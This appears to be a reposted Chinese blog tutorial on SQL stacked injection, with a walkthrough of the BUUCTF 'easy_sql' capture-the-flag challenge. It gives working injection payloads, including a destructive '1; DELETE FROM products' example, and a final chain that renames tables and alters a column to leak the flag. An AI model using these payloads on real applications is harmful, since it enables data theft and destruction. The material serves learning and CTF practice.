目錄
- SQL注入-堆疊注入
- 堆疊注入定義
- 堆疊注入原理
- 堆疊注入的局限性
- 下面就介紹一下資料庫相關堆疊注入的一些操作
- 來一個實戰吧!BUUCTF里面的easy_sql
- 1.測驗有無注入點
- 2.用order by 確定欄位數是2個
- 3.嘗試使用union查詢資料庫名
- 4.嘗試使用堆疊注入
- 5.然后查詢表名
- 6.然后查詢兩個表的有哪些列
- 7.最后爆出flag
SQL注入-堆疊注入
堆疊注入定義
Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 陳述句(多條)一起執行,而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令列中, 每一條陳述句結尾加; 表示陳述句結束,這樣我們就想到了是不是可以多句一起使用,這個叫做 stacked injection,
堆疊注入原理
在SQL中,分號(;)是用來表示一條sql陳述句的結束,試想一下我們在 ; 結束一個sql陳述句后繼續構造下一條陳述句,會不會一起執行?因此這個想法也就造就了堆疊注入,而union injection(聯合注入)也是將兩條陳述句合并在一起,兩者之間有什么區別么?區別就在于union 或者union all執行的陳述句型別是有限的,可以用來執行查詢陳述句,而堆疊注入可以執行的是任意的陳述句,例如以下這個例子,用戶輸入:1; DELETE FROM products服務器端生成的sql陳述句為: Select * from products where productid=1;DELETE FROM products當執行查詢后,第一條顯示查詢資訊,第二條則將整個表進行洗掉,
堆疊注入的局限性
堆疊注入的局限性在于并不是每一個環境下都可以執行,可能受到 API 或者資料庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改資料或者呼叫一些程式,

下面就介紹一下資料庫相關堆疊注入的一些操作
-
創建資料庫
create database 資料庫名; -
洗掉資料庫
drop database 資料庫名; -
修改表名
rename table 原表名 to 新表名; //當你執行 RENAME 時,你不能有任何鎖定的表或活動的事務,你同樣也必須有對原初表的 ALTER 和 DROP 權限,以及對新表的 CREATE 和 INSERT 權限 -
修改 words 表里面的 flag 列為 id 列
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; -
查詢資料庫名,表名
show database(); show tables;
來一個實戰吧!BUUCTF里面的easy_sql
1.測驗有無注入點

2.用order by 確定欄位數是2個
1' order by 2#

3.嘗試使用union查詢資料庫名
1' union select 1,database()#
//發現select被過濾了,所以union查詢也就用不了

4.嘗試使用堆疊注入
1';show database();# //查詢資料庫名稱

5.然后查詢表名
1';show tables;#

6.然后查詢兩個表的有哪些列
1';desc `1919810931114514`;#
1';desc words;#
//發現flag在 1919810931114514 表里
//我們發現words表里有id ,data兩列,可以猜測我們提交的查詢的視窗就是在這個表里查詢資料的
//那么查詢陳述句很可能是:select id,data from words where id =
//因為可以堆疊查詢,這個時候我們可以把words改為words1,然后把 1919810931114514 改
//為words,再把列名flag改為id,然后用1' or 1=1#爆出表所有內容就可以得出flag


payload:
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

7.最后爆出flag
1' or 1=1#

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/288916.html
標籤:其他
上一篇:Weblogic下的servlet記憶體馬注入-無參照純除錯
下一篇:PING命令執行漏洞-繞過空格
